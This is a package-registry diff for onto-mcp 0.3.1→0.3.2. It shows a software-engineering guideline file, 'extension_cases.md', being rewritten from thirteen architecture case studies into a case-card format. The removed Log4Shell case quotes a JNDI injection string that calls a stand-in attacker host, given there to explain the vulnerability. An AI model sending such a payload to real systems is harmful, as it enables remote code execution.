onto-mcp 0.3.1 → 0.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (52) hide show
  1. package/.onto/authority/core-lexicon.yaml +1 -0
  2. package/.onto/domains/software-engineering/competency_qs.md +192 -63
  3. package/.onto/domains/software-engineering/concepts.md +67 -5
  4. package/.onto/domains/software-engineering/conciseness_rules.md +22 -2
  5. package/.onto/domains/software-engineering/dependency_rules.md +78 -8
  6. package/.onto/domains/software-engineering/domain_scope.md +181 -150
  7. package/.onto/domains/software-engineering/extension_cases.md +318 -542
  8. package/.onto/domains/software-engineering/logic_rules.md +75 -3
  9. package/.onto/domains/software-engineering/problem_framing_profile.md +29 -2
  10. package/.onto/domains/software-engineering/prompt_interface.md +122 -0
  11. package/.onto/domains/software-engineering/structure_spec.md +53 -4
  12. package/.onto/principles/llm-native-development-guideline.md +20 -0
  13. package/.onto/principles/productization-charter.md +6 -0
  14. package/.onto/processes/reconstruct/reconstruct-boundary-contract.md +278 -91
  15. package/.onto/processes/reconstruct/reconstruct-execution-ux-contract.md +45 -12
  16. package/.onto/processes/reconstruct/source-profile-contract.md +39 -6
  17. package/.onto/processes/reconstruct/top-level-concept-discovery-contract.md +387 -0
  18. package/.onto/processes/review/lens-registry.md +16 -0
  19. package/.onto/processes/shared/target-material-kind-contract.md +18 -2
  20. package/.onto/roles/axiology.md +7 -2
  21. package/AGENTS.md +3 -2
  22. package/README.md +39 -33
  23. package/dist/core-api/reconstruct-api.js +22 -5
  24. package/dist/core-api/review-api.js +1288 -533
  25. package/dist/core-runtime/cli/mock-review-unit-executor.js +17 -0
  26. package/dist/core-runtime/cli/review-invoke.js +23 -48
  27. package/dist/core-runtime/cli/run-review-prompt-execution.js +122 -0
  28. package/dist/core-runtime/path-boundary.js +58 -0
  29. package/dist/core-runtime/reconstruct/artifact-types.js +5 -0
  30. package/dist/core-runtime/reconstruct/materialize-preparation.js +54 -4
  31. package/dist/core-runtime/reconstruct/pipeline-execution-ledger.js +38 -2
  32. package/dist/core-runtime/reconstruct/post-seed-validation.js +13 -0
  33. package/dist/core-runtime/reconstruct/record.js +11 -0
  34. package/dist/core-runtime/reconstruct/run.js +1133 -26
  35. package/dist/core-runtime/reconstruct/seed-candidate-validation.js +29 -0
  36. package/dist/core-runtime/review/execution-plan-boundary.js +123 -0
  37. package/dist/core-runtime/review/materializers.js +8 -3
  38. package/dist/core-runtime/review/review-artifact-utils.js +15 -2
  39. package/dist/core-runtime/review/review-invocation-runner.js +604 -0
  40. package/dist/core-runtime/target-material-kind.js +43 -5
  41. package/dist/mcp/server.js +158 -39
  42. package/dist/mcp/tool-schemas.js +22 -2
  43. package/package.json +3 -1
  44. package/.onto/domains/llm-native-development/competency_qs.md +0 -430
  45. package/.onto/domains/llm-native-development/concepts.md +0 -242
  46. package/.onto/domains/llm-native-development/conciseness_rules.md +0 -163
  47. package/.onto/domains/llm-native-development/dependency_rules.md +0 -216
  48. package/.onto/domains/llm-native-development/domain_scope.md +0 -197
  49. package/.onto/domains/llm-native-development/extension_cases.md +0 -474
  50. package/.onto/domains/llm-native-development/logic_rules.md +0 -123
  51. package/.onto/domains/llm-native-development/prompt_interface.md +0 -49
  52. package/.onto/domains/llm-native-development/structure_spec.md +0 -245
@@ -1,551 +1,327 @@
1
1
  ---
2
- version: 3
3
- last_updated: "2026-03-31"
4
- source: bundled-domain-baseline
2
+ version: 8
3
+ last_updated: "2026-05-28"
4
+ source: zero-based-software-engineering-redesign
5
5
  status: established
6
6
  ---
7
7
 
8
- # Software Engineering Domain Extension Cases
9
-
10
- Classification axis: **change trigger** cases classified by the type of change that triggers structural evolution. Cases cover both growth triggers (Cases 1–11) and shrinkage triggers (Cases 12–13).
11
-
12
- The evolution agent simulates each scenario to verify whether the existing structure breaks.
13
-
14
- ---
15
-
16
- ## Case 1: Adding a New Feature
17
-
18
- ### Situation
19
-
20
- Adding new functionality to an existing module structure without violating module boundaries or breaking existing code (Open-Closed Principle).
21
-
22
- ### Case Study: Slack — Huddles (2021)
23
-
24
- Slack added real-time audio (Huddles) to an asynchronous text messaging platform. Audio requires WebRTC connections and media servers — fundamentally different infrastructure from HTTP-based messaging. Slack isolated Huddles in a separate module with its own data model, integrating with the existing workspace/channel model through defined interfaces. Existing messaging tests remained unaffected.
25
-
26
- ### Impact Analysis
27
-
28
- | Principle | Impact |
29
- |---|---|
30
- | Module boundaries | New feature should map to a new module or extend an existing one via its public interface |
31
- | Dependency direction | New module must depend inward, not introduce reverse dependencies |
32
- | Test isolation | Existing test suites must pass without modification |
33
- | API surface | Public API additions must be backward compatible (new endpoints, optional fields) |
34
-
35
- ### Verification Checklist
36
-
37
- - [ ] Can the feature be added as a new module without modifying existing modules? → concepts.md §Architecture Core Terms ([L2] OCP)
38
- - [ ] Existing tests pass without modification → logic_rules.md §Testing Logic
39
- - [ ] New module follows dependency direction rules → dependency_rules.md §Direction Rules
40
- - [ ] Public API changes are backward compatible → dependency_rules.md §API Dependency Management (Breaking vs Non-breaking Changes Classification)
41
- - [ ] New dependencies do not create cycles → dependency_rules.md §Acyclic Dependencies
42
- - [ ] Module size stays within thresholds → structure_spec.md §Quantitative Thresholds
43
-
44
- ### Affected Files
45
-
46
- | File | Impact | Section |
47
- |---|---|---|
48
- | structure_spec.md | Verify | §Required Module Structure Elements, §Architectural Patterns |
49
- | dependency_rules.md | Verify | §Direction Rules, §Acyclic Dependencies |
50
- | logic_rules.md | Verify | §Testing Logic, §Inter-module Contract Logic |
51
- | concepts.md | Potential | New terms if the feature introduces new domain concepts |
52
-
53
- ---
54
-
55
- ## Case 2: External Dependency Change
56
-
57
- ### Situation
58
-
59
- Major version upgrade of a library or framework, potentially changing API signatures or removing deprecated features.
60
-
61
- ### Case Study: React Class Components to Hooks (2019)
62
-
63
- React 16.8 replaced class component state management (`this.state`, lifecycle methods, HOCs) with Hooks (`useState`, `useEffect`). Organizations with thousands of class components (Airbnb: 30,000+) faced multi-year migrations. Codebases with container/presenter separation could migrate independently; tightly coupled codebases required file-by-file rewrites. Tests using enzyme's class-specific shallow rendering broke entirely.
64
-
65
- ### Impact Analysis
66
-
67
- | Principle | Impact |
68
- |---|---|
69
- | Abstraction layer | Direct coupling to library means every call site is affected |
70
- | API surface | Changed signatures require updating all callers or writing adapters |
71
- | Test suite | Tests using library-specific APIs may break |
72
- | Migration path | Old and new patterns must coexist during migration |
73
-
74
- ### Verification Checklist
75
-
76
- - [ ] Is internal code abstracted via interfaces or directly coupled? dependency_rules.md §Direction Rules (DIP)
77
- - [ ] Can the impact scope be determined when API signatures change? dependency_rules.md §Referential Integrity
78
- - [ ] Does a migration path exist allowing old/new coexistence? concepts.md §Change Management Terms (Branch-by-Abstraction)
79
- - [ ] Are tests dependent on library internals? logic_rules.md §Testing Logic (Test Independence)
80
- - [ ] Are transitive dependencies affected? → dependency_rules.md §Build/Package Dependency Rules (Transitive Dependency Management)
81
- - [ ] Is the lock file updated and committed? → dependency_rules.md §Build/Package Dependency Rules (Lock File Management)
82
-
83
- ### Affected Files
84
-
85
- | File | Impact | Section |
86
- |---|---|---|
87
- | dependency_rules.md | Modify | §External Dependency Management, §Build/Package Dependency Rules |
88
- | structure_spec.md | Verify | §Required Relationships |
89
- | logic_rules.md | Verify | §Testing Logic, §Type System Logic |
90
- | concepts.md | Verify | §Change Management Terms |
91
-
92
- ---
93
-
94
- ## Case 3: Schema/Data Model Change
95
-
96
- ### Situation
97
-
98
- Adding, removing, or changing fields in an existing data model. Identifier format changes have especially broad impact on referential integrity.
99
-
100
- ### Case Study: Twitter Snowflake ID Migration (2010)
101
-
102
- Twitter migrated from MySQL auto-increment IDs to Snowflake, a distributed 64-bit ID system encoding timestamp, machine ID, and sequence. Auto-increment required a centralized database — unsustainable at 400M+ tweets/day. The migration required: changing all ID columns from 32-bit to 64-bit, updating every API endpoint and foreign key, verifying JavaScript compatibility (fits within `Number.MAX_SAFE_INTEGER`). A dual-write period allowed both formats to coexist.
103
-
104
- ### Impact Analysis
105
-
106
- | Principle | Impact |
107
- |---|---|
108
- | Type system | Field type changes propagate to all consumers |
109
- | Referential integrity | Identifier format changes affect every foreign key and cross-service reference |
110
- | API compatibility | Response format changes are breaking for existing consumers |
111
- | Source of truth | During migration, two systems coexist source of truth must be declared |
112
-
113
- ### Verification Checklist
114
-
115
- - [ ] Does the migration preserve existing data? structure_spec.md §Storage/Data Layer
116
- - [ ] Does all code referencing the model accommodate the change? → dependency_rules.md §Referential Integrity
117
- - [ ] Is API response backward compatibility maintained? dependency_rules.md §API Dependency Management (Breaking vs Non-breaking Changes Classification)
118
- - [ ] Are database constraints updated? logic_rules.md §Constraint Design Logic (Database vs Application Constraint Boundary)
119
- - [ ] Is the migration reversible and idempotent? concepts.md §Data/State Management Terms (Migration)
120
- - [ ] Is schema-code alignment verified? → structure_spec.md §Golden Relationships (Schema-Code alignment)
121
- - [ ] Is source of truth designated during dual-write? dependency_rules.md §Source of Truth Management
122
-
123
- ### Affected Files
124
-
125
- | File | Impact | Section |
126
- |---|---|---|
127
- | logic_rules.md | Modify | §Type System Logic, §Constraint Design Logic |
128
- | dependency_rules.md | Verify | §Referential Integrity, §API Dependency Management |
129
- | structure_spec.md | Verify | §Storage/Data Layer, §Golden Relationships |
130
-
131
- ---
132
-
133
- ## Case 4: Scale Expansion
134
-
135
- ### Situation
136
-
137
- 10x increase in users, data, or traffic. Bottlenecks emerge at synchronous processing, shared state, and single-instance resources.
138
-
139
- ### Case Study: Netflix Monolith to Microservices (2012–2016)
140
-
141
- Netflix migrated from a monolithic Java application to 700+ microservices on AWS for 100M+ subscribers. The monolith's single database was a bottleneck, a single bug could crash everything, and deployments required all-team coordination. Key decisions: each service owns its data, inter-service calls use circuit breakers (Hystrix), eventual consistency accepted where appropriate. Netflix open-sourced Eureka (discovery), Zuul (gateway), Hystrix (circuit breaker). The migration proved microservices solve scaling but require heavy observability investment.
142
-
143
- ### Impact Analysis
144
-
145
- | Principle | Impact |
146
- |---|---|
147
- | Module structure | Must support horizontal scaling (stateless or externalized state) |
148
- | Shared state | Sessions, caches, in-memory state prevent scaling if not externalized |
149
- | Database | Single database becomes bottleneck; read replicas, sharding, or per-service databases needed |
150
- | Concurrency | Race conditions invisible at low scale manifest under load |
151
-
152
- ### Verification Checklist
153
-
154
- - [ ] Can bottleneck points be identified? structure_spec.md §Quantitative Thresholds
155
- - [ ] Is the structure capable of horizontal scaling? structure_spec.md §Architectural Patterns
156
- - [ ] Does shared state impede scaling? logic_rules.md §State Management Logic (Distributed State Rules)
157
- - [ ] Are concurrency issues addressed? logic_rules.md §Concurrency Logic
158
- - [ ] Are circuit breakers in place? → dependency_rules.md §Runtime Dependency Rules (Circuit Breaker)
159
- - [ ] Are timeout and retry policies configured? → dependency_rules.md §Runtime Dependency Rules (Timeout and Retry Policies)
160
- - [ ] Is observability sufficient? domain_scope.md §Required Concept Categories (Observability)
161
-
162
- ### Affected Files
163
-
164
- | File | Impact | Section |
165
- |---|---|---|
166
- | structure_spec.md | Modify | §Architectural Patterns, §Quantitative Thresholds |
167
- | dependency_rules.md | Verify | §Runtime Dependency Rules |
168
- | logic_rules.md | Verify | §Concurrency Logic, §State Management Logic |
169
- | domain_scope.md | Verify | §Required Concept Categories |
170
-
171
- ---
172
-
173
- ## Case 5: New Deployment Environment
174
-
175
- ### Situation
176
-
177
- Adding a new deployment target (on-premises cloud, single-region multi-region, bare metal → Kubernetes).
178
-
179
- ### Case Study: Shopify Multi-tenant Kubernetes (2019–2021)
180
-
181
- Shopify migrated from single-tenant bare-metal to multi-tenant Kubernetes for 1.7M+ merchants. Per-merchant infrastructure was expensive and couldn't handle Black Friday spikes. Migration required: separating configuration into ConfigMaps/Secrets, abstracting file system access (local disk → object storage), pod autoscaling for 10x traffic. Critical refactor: hardcoded "one database per tenant" became a routing layer directing queries by tenant ID.
182
-
183
- ### Impact Analysis
184
-
185
- | Principle | Impact |
186
- |---|---|
187
- | Configuration separation | Environment-specific values must not be in code |
188
- | Infrastructure abstraction | OS-specific and platform-specific code must be abstracted |
189
- | Deployment pipeline | CI/CD must support multiple targets with environment-specific stages |
190
- | Data locality | Multi-region introduces data replication and latency considerations |
191
-
192
- ### Verification Checklist
193
-
194
- - [ ] Are environment-specific settings separated from code? structure_spec.md §Required Module Structure Elements (Configuration/Environment)
195
- - [ ] Is environment-dependent code abstracted? structure_spec.md §Golden Relationships (Config-Code separation)
196
- - [ ] Are credentials managed via secrets, not hardcoded? logic_rules.md §Security Logic (Authentication Logic)
197
- - [ ] Does CI/CD support the new environment? → structure_spec.md §Verification Structure (CI/CD Pipeline Structure)
198
- - [ ] Is 12-Factor App methodology followed? domain_scope.md §Reference Standards/Frameworks
199
- - [ ] Are multi-region data concerns addressed? → logic_rules.md §State Management Logic (Distributed State Rules)
200
-
201
- ### Affected Files
202
-
203
- | File | Impact | Section |
204
- |---|---|---|
205
- | structure_spec.md | Modify | §Required Module Structure Elements, §Golden Relationships, §Verification Structure |
206
- | dependency_rules.md | Verify | §External Dependency Management |
207
- | logic_rules.md | Verify | §State Management Logic, §Security Logic |
208
- | domain_scope.md | Verify | §Reference Standards/Frameworks |
209
-
210
- ---
211
-
212
- ## Case 6: Team/Organization Expansion
213
-
214
- ### Situation
215
-
216
- Increase in developer count leading to higher concurrent work. Conway's Law: system architecture mirrors organizational structure.
217
-
218
- ### Case Study: Amazon Two-Pizza Teams and SOA (2002–2006)
219
-
220
- Bezos mandated all teams communicate through service interfaces — no direct database access, no shared memory. Teams of 6–10 people each owned a service end-to-end. This forced monolith decomposition into hundreds of services with well-defined APIs. Benefits: independent deployment (50+ deploys/day per team by 2011), clear ownership, limited blast radius. Costs: distributed complexity, eventual consistency. Amazon built internal tools, later released as AWS services (DynamoDB, SQS, CloudWatch).
221
-
222
- ### Impact Analysis
223
-
224
- | Principle | Impact |
225
- |---|---|
226
- | Module boundaries | Must be clear enough for independent team work |
227
- | Shared code | Changes to shared libraries must not block other teams |
228
- | CI/CD pipeline | Must support parallel builds and per-team deployment |
229
- | API contracts | Inter-team communication through contracts, not direct code sharing |
230
-
231
- ### Verification Checklist
232
-
233
- - [ ] Are module boundaries clear enough for independent work? structure_spec.md §Classification Criteria Design
234
- - [ ] Do shared code changes not block other teams? dependency_rules.md §Package/Module Dependency Patterns (Shared Kernel)
235
- - [ ] Does CI/CD support parallel builds/tests? structure_spec.md §Verification Structure (CI/CD Pipeline Structure)
236
- - [ ] Are inter-module contracts explicitly defined? logic_rules.md §Inter-module Contract Logic
237
- - [ ] Is dependency fan-in within threshold (≤ 20)? structure_spec.md §Quantitative Thresholds
238
- - [ ] Is the dependency graph a DAG? → dependency_rules.md §Acyclic Dependencies
239
-
240
- ### Affected Files
241
-
242
- | File | Impact | Section |
243
- |---|---|---|
244
- | structure_spec.md | Modify | §Classification Criteria Design, §Quantitative Thresholds |
245
- | dependency_rules.md | Verify | §Acyclic Dependencies, §Package/Module Dependency Patterns |
246
- | logic_rules.md | Verify | §Inter-module Contract Logic |
247
-
248
- ---
249
-
250
- ## Case 7: Event Sourcing Extension (when applicable)
251
-
252
- ### Situation
253
-
254
- Adding new event types, states, and resume functionality to an Event Sourcing system.
255
-
256
- ### Case Study: Axon Framework Event Upcasting at ING Bank
257
-
258
- Axon Framework (AxonIQ) provides JVM-based Event Sourcing and CQRS for financial institutions. When ING added `FraudAlertRaised` to their payment pipeline: (1) projectors with catch-all handlers threw on unknown events, (2) the new `PaymentFrozen` terminal state required updating state machines that assumed `PaymentCompleted` was final, (3) old events needed compatibility with new code via `EventUpcaster` chains. Key lesson: adding an event type is a schema evolution affecting all historical data.
259
-
260
- ### Impact Analysis
261
-
262
- | Principle | Impact |
263
- |---|---|
264
- | Event schema | New events must be forward-compatible with existing projectors |
265
- | Terminal states | New terminal states affect all state machines and workflow logic |
266
- | Replay safety | Historical events must be replayable with new projector code |
267
- | Partial commit | Multiple events in one business operation must be atomic |
268
-
269
- ### Verification Checklist
270
-
271
- - [ ] Do existing projectors safely handle unknown events? logic_rules.md §Type System Logic (Fundamental Type Rules)
272
- - [ ] Is handling defined for changed external inputs at resumption? logic_rules.md §State Management Logic (Fundamental State Rules)
273
- - [ ] Do touch points grow proportionally or remain fixed when adding stages? structure_spec.md §Architectural Patterns
274
- - [ ] Are new terminal states documented? concepts.md §Data/State Management Terms (Terminal State)
275
- - [ ] Is partial commit prevention addressed? logic_rules.md §State Management Logic (Fundamental State Rules)
276
- - [ ] Is event upcasting defined for schema evolution? concepts.md §Data/State Management Terms (Migration)
277
-
278
- ### Affected Files
279
-
280
- | File | Impact | Section |
281
- |---|---|---|
282
- | logic_rules.md | Modify | §State Management Logic, §Type System Logic |
283
- | concepts.md | Verify | §Data/State Management Terms |
284
- | structure_spec.md | Verify | §Architectural Patterns |
285
- | dependency_rules.md | Verify | §Source of Truth Management |
286
-
287
- ---
288
-
289
- ## Case 8: Security Incident Response
290
-
291
- ### Situation
292
-
293
- A security vulnerability is discovered in a dependency or the system itself. Supply chain vulnerabilities propagate through transitive dependencies.
294
-
295
- ### Case Study: Log4Shell CVE-2021-44228 (December 2021)
296
-
297
- Log4Shell was an RCE vulnerability in Apache Log4j 2, allowing code execution via crafted log message strings (`${jndi:ldap://attacker.com/exploit}`). Log4j was a transitive dependency in millions of applications — most teams didn't know they used it. Response required: scanning dependency trees 3-4 levels deep, identifying vulnerable versions (2.0-beta9 through 2.14.1), patching while maintaining compatibility, generating SBOMs for future visibility. Organizations with mature dependency management responded in hours; others took weeks.
298
-
299
- ### Impact Analysis
300
-
301
- | Principle | Impact |
302
- |---|---|
303
- | Dependency visibility | Transitive dependencies must be enumerable |
304
- | Supply chain | Integrity must be verifiable via checksums and signatures |
305
- | Patch propagation | A library fix must propagate to all consuming applications |
306
- | Test regression | Patching may change behavior — tests must verify no regressions |
307
-
308
- ### Verification Checklist
309
-
310
- - [ ] Can all instances of the vulnerable dependency be identified, including transitive? → dependency_rules.md §Build/Package Dependency Rules (Transitive Dependency Management)
311
- - [ ] Is dependency audit running in CI? → dependency_rules.md §Build/Package Dependency Rules (Dependency Security)
312
- - [ ] Are lock files committed and current? → dependency_rules.md §Build/Package Dependency Rules (Lock File Management)
313
- - [ ] Is SBOM generated? → dependency_rules.md §Build/Package Dependency Rules (Dependency Security)
314
- - [ ] Are defense-in-depth layers operational? → logic_rules.md §Security Logic (Input Validation Logic)
315
- - [ ] Are downstream consumers notified? → dependency_rules.md §External Dependency Management
316
-
317
- ### Affected Files
318
-
319
- | File | Impact | Section |
320
- |---|---|---|
321
- | dependency_rules.md | Modify | §Build/Package Dependency Rules, §External Dependency Management |
322
- | logic_rules.md | Verify | §Security Logic |
323
- | structure_spec.md | Verify | §Verification Structure (CI/CD Pipeline Structure) |
324
- | domain_scope.md | Verify | §Major Sub-areas > Security & Auth |
325
-
326
- ---
327
-
328
- ## Case 9: API Versioning / Breaking Change
329
-
330
- ### Situation
331
-
332
- A widely-used API needs breaking changes while existing consumers cannot all upgrade immediately.
333
-
334
- ### Case Study: Stripe — Date-Based API Versioning
335
-
336
- Stripe pins each merchant to the API version at integration time (e.g., `2023-10-16`). Breaking changes only affect newer versions. Compatibility is maintained via "version transformers" — middleware translating between the current internal representation and each API version. Setting `Stripe-Version: 2020-08-27` routes responses through transformers undoing changes after that date. This avoids the "upgrade cliff" but accumulates complexity: each breaking change requires a bidirectional transformer tested against all active versions.
337
-
338
- ### Impact Analysis
339
-
340
- | Principle | Impact |
341
- |---|---|
342
- | Consumer enumeration | All consumers must be identified before breaking changes |
343
- | Migration path | Consumers need clear, documented upgrade instructions |
344
- | Backward compatibility | Old versions must continue working for a defined period |
345
- | Contract testing | Each supported version must be tested for correct behavior |
346
-
347
- ### Verification Checklist
348
-
349
- - [ ] Are all consumers of the affected API enumerated? → dependency_rules.md §Referential Integrity
350
- - [ ] Is the change classified as breaking or non-breaking? → dependency_rules.md §API Dependency Management (Breaking vs Non-breaking Changes Classification)
351
- - [ ] Is a versioning strategy selected? → dependency_rules.md §API Dependency Management (REST API Versioning Strategies)
352
- - [ ] Is backward compatibility maintained for the deprecation period? → concepts.md §Change Management Terms (Deprecation)
353
- - [ ] Are contract tests in place? → concepts.md §Testing Terms ([L3] Contract Test)
354
- - [ ] Are gRPC/GraphQL evolution rules followed if applicable? → dependency_rules.md §API Dependency Management
355
-
356
- ### Affected Files
357
-
358
- | File | Impact | Section |
359
- |---|---|---|
360
- | dependency_rules.md | Modify | §API Dependency Management, §Referential Integrity |
361
- | logic_rules.md | Verify | §Type System Logic, §Inter-module Contract Logic |
362
- | concepts.md | Verify | §Change Management Terms |
363
- | structure_spec.md | Verify | §Golden Relationships (Documentation-Code alignment) |
364
-
365
- ---
366
-
367
- ## Case 10: Monolith to Microservices Migration
368
-
369
- ### Situation
370
-
371
- Decomposing a monolithic application into microservices (or choosing not to). The decision must be driven by concrete requirements, not trends.
372
-
373
- ### Case Study: Shopify — Modular Monolith (2019–2023)
374
-
375
- Shopify's Rails monolith serves 1.7M+ merchants ($444B+ GMV). Rather than microservices, they chose a modular monolith with Packwerk (static analysis enforcing module boundaries). Each component has `public/` (API surface) and `private/` internals — cross-component communication through public API only. Rationale: microservices would add network latency, distributed transactions, and service mesh overhead. The modular monolith achieves independent development without distributed complexity.
376
-
377
- ### Impact Analysis
378
-
379
- | Principle | Impact |
380
- |---|---|
381
- | Bounded contexts | Each service/module must align with a domain boundary |
382
- | Data ownership | Each service must own its data; shared databases create distributed monoliths |
383
- | Transaction boundaries | Cross-service operations require sagas or eventual consistency |
384
- | Testing strategy | Integration tests become cross-service; E2E requires service orchestration |
385
-
386
- ### Verification Checklist
387
-
388
- - [ ] Are bounded contexts identified via domain analysis? → concepts.md §Architecture Core Terms (Bounded Context)
389
- - [ ] Are module/service boundaries enforced? → structure_spec.md §Architectural Patterns (Modular Monolith)
390
- - [ ] Does each service own its data exclusively? → structure_spec.md §Storage/Data Layer
391
- - [ ] Are cross-service transactions handled via sagas? → logic_rules.md §State Management Logic (Saga Pattern)
392
- - [ ] Is inter-service communication through defined APIs? → logic_rules.md §Inter-module Contract Logic
393
- - [ ] Are anti-corruption layers in place? → dependency_rules.md §Package/Module Dependency Patterns (Anti-corruption Layer)
394
- - [ ] Is the dependency graph a DAG at the service level? → dependency_rules.md §Acyclic Dependencies
395
- - [ ] Are circuit breakers configured? → dependency_rules.md §Runtime Dependency Rules (Circuit Breaker)
396
-
397
- ### Affected Files
398
-
399
- | File | Impact | Section |
400
- |---|---|---|
401
- | structure_spec.md | Modify | §Architectural Patterns, §Classification Criteria Design |
402
- | dependency_rules.md | Modify | §Runtime Dependency Rules, §Package/Module Dependency Patterns |
403
- | logic_rules.md | Verify | §State Management Logic, §Inter-module Contract Logic |
404
- | concepts.md | Verify | §Architecture Core Terms |
405
- | domain_scope.md | Verify | §Major Sub-areas > Structure & Architecture |
406
-
407
- ---
408
-
409
- ## Case 11: Database Migration
410
-
411
- ### Situation
412
-
413
- Migrating from one database system to another while guaranteeing zero data loss.
414
-
415
- ### Case Study: GitHub — MySQL to Vitess (2018–2020)
416
-
417
- GitHub migrated to Vitess (clustering system from YouTube) for 5B+ API requests/day across 1,200+ MySQL hosts. MySQL's single-primary replication limited write scalability; schema migrations on 100M+ row tables took hours. Vitess provides horizontal sharding, connection pooling, and online schema migrations (gh-ost). Strategy: (1) deploy Vitess as proxy (no app changes), (2) remove cross-shard joins, (3) enable sharding for high-write tables, (4) dual-write with automated consistency checks. Zero data loss achieved by validating each step before cutover.
418
-
419
- ### Impact Analysis
420
-
421
- | Principle | Impact |
422
- |---|---|
423
- | Data integrity | All data must be migrated without loss or corruption |
424
- | Zero downtime | Migration must not require application downtime |
425
- | Query compatibility | Application queries may need modification for new capabilities |
426
- | Schema differences | New database may not support all features (triggers, stored procedures) |
427
-
428
- ### Verification Checklist
429
-
430
- - [ ] Is data integrity verified via automated comparison? → dependency_rules.md §Referential Integrity
431
- - [ ] Is a dual-write period implemented with consistency checks? → dependency_rules.md §Source of Truth Management
432
- - [ ] Are all queries compatible with the new database? → structure_spec.md §Storage/Data Layer
433
- - [ ] Is schema-code alignment verified? → structure_spec.md §Golden Relationships (Schema-Code alignment)
434
- - [ ] Are database constraints migrated? → logic_rules.md §Constraint Design Logic (Database vs Application Constraint Boundary)
435
- - [ ] Is the migration reversible at each step? → concepts.md §Data/State Management Terms (Migration)
436
- - [ ] Are connection strings in configuration, not code? → structure_spec.md §Golden Relationships (Config-Code separation)
437
-
438
- ### Affected Files
439
-
440
- | File | Impact | Section |
441
- |---|---|---|
442
- | dependency_rules.md | Modify | §External Dependency Management, §Referential Integrity, §Source of Truth Management |
443
- | structure_spec.md | Verify | §Storage/Data Layer, §Golden Relationships |
444
- | logic_rules.md | Verify | §Constraint Design Logic |
445
- | concepts.md | Verify | §Data/State Management Terms |
446
-
447
- ---
448
-
449
- ## Case 12: Feature Removal / Deprecation
450
-
451
- ### Situation
452
-
453
- Removing an existing feature, including deprecation notice, migration path for consumers, dead code cleanup, and data retention/deletion decisions.
454
-
455
- ### Case Study: Google — Google Reader Shutdown (2013)
456
-
457
- Google Reader served millions of RSS subscribers. Shutdown required: 6-month deprecation notice, Google Takeout data export for user data, API deprecation for third-party clients (Feedly, Reeder migrated 500K+ users in 3 months), redirects from old URLs. Key lesson: feature removal affects both direct users and API consumers differently.
458
-
459
- ### Impact Analysis
460
-
461
- | Principle | Impact |
462
- |---|---|
463
- | Deprecation protocol | Must specify what, when, and replacement |
464
- | Dead code cleanup | Removal must not break unrelated code paths |
465
- | Data lifecycle | User data must be exported or archived before deletion |
466
- | Consumer migration | API consumers need migration guides and timeline |
467
-
468
- ### Verification Checklist
469
-
470
- - [ ] Is deprecation announced with timeline and replacement? → concepts.md §Change Management Terms (Deprecation)
471
- - [ ] Are all consumers of the deprecated feature enumerated? → dependency_rules.md §Referential Integrity
472
- - [ ] Is dead code fully removed (no conditional branches for removed feature)? → structure_spec.md §Isolated Node Prohibition
473
- - [ ] Is user data handled (export, archive, deletion)? → domain_scope.md §Required Concept Categories (Lifecycle)
474
- - [ ] Are feature flags for the removed feature cleaned up? → concepts.md §Change Management Terms (Feature Toggle)
475
- - [ ] Are tests for the removed feature deleted to prevent confusion? → logic_rules.md §Testing Logic (Test Independence)
476
-
477
- ### Affected Files
478
-
479
- | File | Impact | Section |
480
- |---|---|---|
481
- | concepts.md | Verify | §Change Management Terms (Deprecation, Feature Toggle) |
482
- | dependency_rules.md | Verify | §Referential Integrity, §API Dependency Management |
483
- | structure_spec.md | Verify | §Isolated Node Prohibition |
484
-
485
- ---
486
-
487
- ## Case 13: Service Decommissioning
488
-
489
- ### Situation
490
-
491
- Permanently shutting down a service, including traffic drain, data archival, dependency cleanup, and DNS/routing removal.
492
-
493
- ### Case Study: AWS — SimpleDB Sunset (Gradual, 2012–)
494
-
495
- AWS SimpleDB was superseded by DynamoDB. AWS approach: no new customers accepted, existing customers given multi-year migration window, DynamoDB migration guides published, SimpleDB API maintained read-only during transition, data export tools provided. Key lesson: decommissioning a service with external consumers requires years-long migration support.
496
-
497
- ### Impact Analysis
498
-
499
- | Principle | Impact |
500
- |---|---|
501
- | Traffic drain | All consumers must be migrated before shutdown |
502
- | Data archival | Data must be archived or migrated to successor service |
503
- | Dependency cleanup | All references to the service must be removed |
504
- | DNS/routing | Service endpoints must return informative errors, not timeouts |
505
-
506
- ### Verification Checklist
507
-
508
- - [ ] Are all consumers identified and migrated? → dependency_rules.md §Referential Integrity
509
- - [ ] Is data archived with retention policy? → domain_scope.md §Required Concept Categories (Lifecycle)
510
- - [ ] Are inter-service dependencies cleaned up (no dangling references)? → dependency_rules.md §Acyclic Dependencies
511
- - [ ] Are monitoring/alerts for the decommissioned service removed? → domain_scope.md §Required Concept Categories (Observability)
512
- - [ ] Is DNS/routing updated (informative 410 Gone, not timeout)? → dependency_rules.md §API Dependency Management
513
- - [ ] Is the decommissioned service removed from CI/CD pipelines? → structure_spec.md §Verification Structure (CI/CD Pipeline Structure)
514
-
515
- ### Affected Files
516
-
517
- | File | Impact | Section |
518
- |---|---|---|
519
- | dependency_rules.md | Modify | §Referential Integrity, §External Dependency Management |
520
- | structure_spec.md | Verify | §Verification Structure |
521
- | domain_scope.md | Verify | §Required Concept Categories |
522
-
523
- ---
8
+ # Software Engineering Domain - Extension Cases
9
+
10
+ This document is the case-backed guideline library for the `software-engineering`
11
+ domain. It is consumed by review lenses through the existing review runtime, but it
12
+ does not define, add, or govern lenses.
13
+
14
+ A case is accepted only when it can support:
15
+
16
+ ```text
17
+ case evidence -> principle -> guideline -> CQ seed -> PASS/FAIL criteria
18
+ ```
19
+
20
+ The cases are intentionally not MECE. The same case may support multiple lenses.
21
+
22
+ ## Card Format
23
+
24
+ Each case should answer these fields:
25
+
26
+ ```text
27
+ Case ID:
28
+ Source evidence:
29
+ Evidence status (optional when source evidence names a dated/versioned anchor):
30
+ Observed failure:
31
+ Review concern relevance:
32
+ Principle:
33
+ Applicable when:
34
+ Guideline:
35
+ CQ seed:
36
+ PASS:
37
+ FAIL:
38
+ Related documents:
39
+ Supersedes (when applicable):
40
+ Superseded by (when applicable):
41
+ ```
42
+
43
+ `Review concern relevance` names domain concerns, not lens governance proposals.
44
+ Security, operations, performance, verification, and similar labels are concern tags.
45
+ They must route through CQ seeds, related documents, or existing review paths; they do
46
+ not imply that a dedicated active lens exists or should be added.
47
+
48
+ ## Case Evidence Currency
49
+
50
+ Case evidence must remain usable as standards and provider behavior change.
51
+
52
+ - Published standards or frameworks should name the version, year, profile, or stable local evidence ref used when available.
53
